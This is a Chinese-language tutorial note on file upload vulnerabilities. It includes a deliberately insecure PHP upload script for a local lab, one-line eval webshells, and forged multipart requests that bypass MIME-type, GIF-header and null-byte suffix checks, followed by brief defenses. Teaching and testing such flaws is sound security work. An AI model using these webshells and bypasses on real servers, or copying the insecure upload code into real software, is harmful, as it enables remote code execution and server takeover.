定义:?文件上传漏洞( Unrestricted File Upload)网站上传功能过滤不严格,导致用户可通过上传文
件对系统造成危害。
上传服务端可解析的脚本文件造成远程代码执行、上传超大文件造成拒绝服务、上传Html文件引发XSS等。
分类:?Web通用漏洞
风险等级:?严重/中危
危害:上传文件Getshell/上传HTML文件实现XSS攻击、上传超大文件引发拒绝服务等
漏洞示例:
在本地的phpstudy中搭建一个简单的靶场
<html>
<form action="http://127.0.0.1/upload.php"
method="POST" enctype="multipart/form-data">
<input name="a" type="file"></input>
<input name="b" ></input>
<input type="submit"></input>
</form>
</html>
<?php
var_dump($_POST['b']);
var_dump($_FILES);
move_uploaded_file($_FILES["a"]["tmp_name"],"
./upload/" . $_FILES["a"]["name"]);
?>
需要在同目录下创建一个upload文件夹
漏洞利用:
上传一个一句话木马,然后用蚁剑远程连接。
<?php eval($_POST['1'])?>
文件上传+环境解析 = WebShell
文件上传+任意路径控制 = 文件覆盖(WebShell)
文件上传 - 环境解析 - 路径控制 = XSS
文件上传-环境解析+无大小限制=拒绝服务
文件类型限制:
<?php
if($_FILES['a']['type'] != "image/gif")
{
die("Sorry,we only allow uploading GIF images");
}
?>
绕过:
------WebKitFormBoundaryU1lrzLiplUyRrlHJ
Content-Disposition: form-data; name="a"; filename="filename.php"
Content-Type: text/php image/gif
file_content <?php eval($_GET['a'])?>
------WebKitFormBoundaryU1lrzLiplUyRrlHJ
文件头限制:
<?php
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$filename = '1.php';
echo finfo_file($finfo,$filename);
?>
绕过:
添加一个GIF(也就是可以上传到服务器上的文件类型)的文件头就可以。
47494638 39613804 A005F700 00000000 | GIF89a8
0509080A 09050B0C 0B120E0D 0E0F100F |
11101211 0E131313 1A151316 16191719 |
文件后缀追加限制:
<?php
var_dump($_POST['a']);
var_dump($_FILES);
move_uploaded_file($_FILES["a"]["tmp_name"],"./upload" .$_POST['a'].'.jpg');
?>
绕过:
使用%00截断。 要求:PHP版本 < 5.3.4
------WebKitFormBoundaryU1lrzLiplUyRrlHJ
Content-Disposition: form-data; name="a"
1.php0x00
------WebKitFormBoundaryU1lrzLiplUyRrlHJ
条件竞争:?恶意文件上传后被检测到立马被删除,攻击者在他被删除前使用自动化工具快速频繁的请求该文件。
一般都在可以上传文件的位置,像上传头像照片等。
1.严格限制上传文件后缀
2.对于无法限制文件后缀的情况,可以严格限制上传目录(防御../跳出目录),
同时将该目录设置为不可解析(octet-stream)。将其他目录设置为不可写入。
3.使用分站存储上传文件,分站不开启脚本资源解析。